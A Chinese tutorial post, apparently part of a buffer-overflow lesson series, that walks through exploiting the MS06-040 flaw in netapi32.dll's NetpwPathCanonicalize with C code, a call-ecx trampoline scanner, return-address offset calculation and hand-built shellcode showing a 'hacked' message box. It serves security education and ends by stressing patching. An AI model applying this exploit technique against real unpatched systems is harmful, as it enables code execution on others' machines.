前言

经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。

编写漏洞利用程序的框架

这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR, ...);
  3. int main()
  4. {
  5. char Str[0x320];
  6. char lpWideCharStr[0x440];
  7. int  arg_8 = 0x440;
  8. char Source[0x100];
  9. long arg_10 = 44;
  10. HINSTANCE LibHandle;
  11. MYPROC Func;
  12. char DllName[] = "./netapi32.dll";
  13. LibHandle = LoadLibrary(DllName);
  14. if( LibHandle == NULL)
  15. {
  16. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  17. FreeLibrary(LibHandle);
  18. }
  19. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
  20. if ( Func == NULL )
  21. {
  22. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
  23. FreeLibrary(LibHandle);
  24. }
  25. memset(Str, 0, sizeof(Str));
  26. memset(Str, 'a', sizeof(Str)-2);
  27. memset(Source, 0, sizeof(Source));
  28. memset(Source, 'b', sizeof(Source)-2);
  29. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
  30. FreeLibrary(LibHandle);
  31. return 0;
  32. }

程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:


图1

由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。

动态调试漏洞

我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:

图2

可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:

图3

可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:

图4

结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:

图5

那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:

图6

由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:

图7

可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”,接着来到了第二个字符串拷贝的位置:

图8

这里将长串字符“a”连接在了“\”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:

图9

此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。

获取CALL ECX地址

我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #define DLL_NAME "./netapi32.dll"
  5. int main()
  6. {
  7. BYTE *ptr;
  8. int position,address;
  9. HINSTANCE handle;
  10. BOOL done_flag = FALSE;
  11. handle = LoadLibrary(DLL_NAME);
  12. if(!handle)
  13. {
  14. printf("load dll error!");
  15. exit(0);
  16. }
  17. ptr = (BYTE*)handle;
  18. for(position = 0; !done_flag; position++)
  19. {
  20. try
  21. {
  22. if(ptr[position]==0xFF && ptr[position+1]==0xD1)
  23. {
  24. int address = (int)ptr + position;
  25. printf("OPCODE found at 0x%x\n", address);
  26. }
  27. }
  28. catch(...)
  29. {
  30. int address = (int)ptr + position;
  31. printf("END OF 0x%x\n", address);
  32. done_flag = true;
  33. }
  34. }
  35. getchar();
  36. return 0;
  37. }

结果如下:


图10

依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“\”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。

完成漏洞利用程序

于是可以将之前的框架程序修改为:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR, ...);
  3. char ShellCode[] =
  4. "\x33\xDB"                          // xor ebx,ebx
  5. "\xB7\x06"                          // mov bh,6
  6. "\x2B\xE3"                          // sub esp,ebx
  7. "\x33\xDB"                          // xor ebx,ebx
  8. "\x53"                              // push ebx
  9. "\x68\x69\x6E\x67\x20"
  10. "\x68\x57\x61\x72\x6E"              // push "Warning"
  11. "\x8B\xC4"                          // mov eax,esp
  12. "\x53"                              // push ebx
  13. "\x68\x2E\x29\x20\x20"
  14. "\x68\x20\x4A\x2E\x59"
  15. "\x68\x21\x28\x62\x79"
  16. "\x68\x63\x6B\x65\x64"
  17. "\x68\x6E\x20\x68\x61"
  18. "\x68\x20\x62\x65\x65"
  19. "\x68\x68\x61\x76\x65"
  20. "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
  21. "\x8B\xCC"                           // mov ecx,esp
  22. "\x53"                               // push ebx
  23. "\x50"                               // push eax
  24. "\x51"                               // push ecx
  25. "\x53"                               // push ebx
  26. "\xB8\xea\x07\xd5\x77"
  27. "\xFF\xD0"                           // call MessageBox
  28. "\x53"
  29. "\xB8\xFA\xCA\x81\x7C"
  30. "\xFF\xD0" ;                          // call ExitProcess
  31. int main()
  32. {
  33. char Str[0x320];
  34. char lpWideCharStr[0x440];
  35. int  arg_8 = 0x440;
  36. char Source[0x100];
  37. long arg_10 = 44;
  38. HINSTANCE LibHandle;
  39. MYPROC Func;
  40. char DllName[] = "./netapi32.dll";
  41. LoadLibrary("user32.dll");
  42. LibHandle = LoadLibrary(DllName);
  43. if( LibHandle == NULL)
  44. {
  45. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  46. FreeLibrary(LibHandle);
  47. }
  48. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
  49. if ( Func == NULL )
  50. {
  51. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
  52. FreeLibrary(LibHandle);
  53. }
  54. memset(Str, 0, sizeof(Str));
  55. memset(Str, 'a', sizeof(Str)-2);
  56. memset(Source, 0, sizeof(Source));
  57. memset(Source, 'b', sizeof(Source)-2);
  58. memcpy(Source, ShellCode, sizeof(ShellCode));
  59. Str[0x318] = 0xF9;
  60. Str[0x319] = 0x52;
  61. Str[0x31A] = 0x18;
  62. Str[0x31B] = 0x75;
  63. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
  64. FreeLibrary(LibHandle);
  65. return 0;
  66. }

运行结果如下:


图11

可见我们已经成功地利用了这个漏洞。

小结

由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试的更多相关文章

  1. 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

    前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否 ...

  2. 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析

    前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...

  3. 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

    漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...

  4. 缓冲区溢出分析第10课:Winamp缓冲区溢出研究

    前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...

  5. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  6. 缓冲区溢出分析第04课:ShellCode的编写

    前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...

  7. W32Dasm缓冲区溢出分析【转载】

    课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...

  8. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  9. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

随机推荐

  1. 在ASP.NET Core中用HttpClient(一)——获取数据和内容

    在本文中,我们将学习如何在ASP.NET Core中集成和使用HttpClient.在学习不同HttpClient功能的同时使用Web API的资源.如何从Web API获取数据,以及如何直接使用Ht ...

  2. Java 虚拟机详解

    深入理解JVM 1   Java技术与Java虚拟机 说起Java,人们首先想到的是Java编程语言,然而事实上,Java是一种技术,它由四方面组成: Java编程语言.Java类文件格式.Java虚 ...

  3. 【RocketMQ源码分析】深入消息存储(1)

    最近在学习RocketMQ相关的东西,在学习之余沉淀几篇笔记. RocketMQ有很多值得关注的设计点,消息发送.消息消费.路由中心NameServer.消息过滤.消息存储.主从同步.事务消息等等. ...

  4. 零投资!零风险!手把手教你挖pi币

    为什么说PI币属于区块链4.0代币呢?我们先从人类社会的生产力生产关系的递进来做一波有利的证明! 原始社会--封建王朝--君主立宪--资本主义--社会主义 原始社会:社会物质财富分配既有弱肉强食也有按 ...

  5. Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置

    之后随笔将更多笔墨着重于NNIE开发系列,下文是关于Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置,目前项目需要对 ...

  6. C# 应用 - 使用 HttpClient 发起 Http 请求

    1. 需要的库类 \Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Net.Http.dll System.N ...

  7. Java基础:重文本markdown

    说一说markdown 前言 在系统学习Java等开发语言之前,我们应该养成写"日记"的习惯,也就是写博客:写博客的地方有博客园,csdn等.而写博客又得知道markdown重文本 ...

  8. “/”应用程序中的服务器错误。||分析器错误消息: 未能加载类型“WebApplication1._Default”

    环境VS2008 无法运行WEB项目,Winfrom程序OK. 新创建的WEB项目直接运行报下图错误. 尝试多种方法: 1,重新生成项目,运行.(失败) 2,重装VS2008(默认.完全.自定义)安装 ...

  9. [Fundamental of Power Electronics]-PART I-5.不连续导电模式-5.2 变比M分析

    5.2 变比M分析 经过一些改进,第二章中的用于CCM稳态分析的相同技术和近似方法可以应用于DCM. (a)电感伏秒平衡.电感电压直流分量必须为0: \[<v_{L}>=\frac{1}{ ...

  10. Kotlin编写Processing程序(使用函数式编程思维和面向接口方式)

    写一例Kotlin编写的Processing程序,充分调用函数式编程思维和面向接口的编程思维,供自己和读者参考学习. 初衷 想要实现一行行的文字排版功能,每一行作为一个单位,可制定显示的位置.大小.文 ...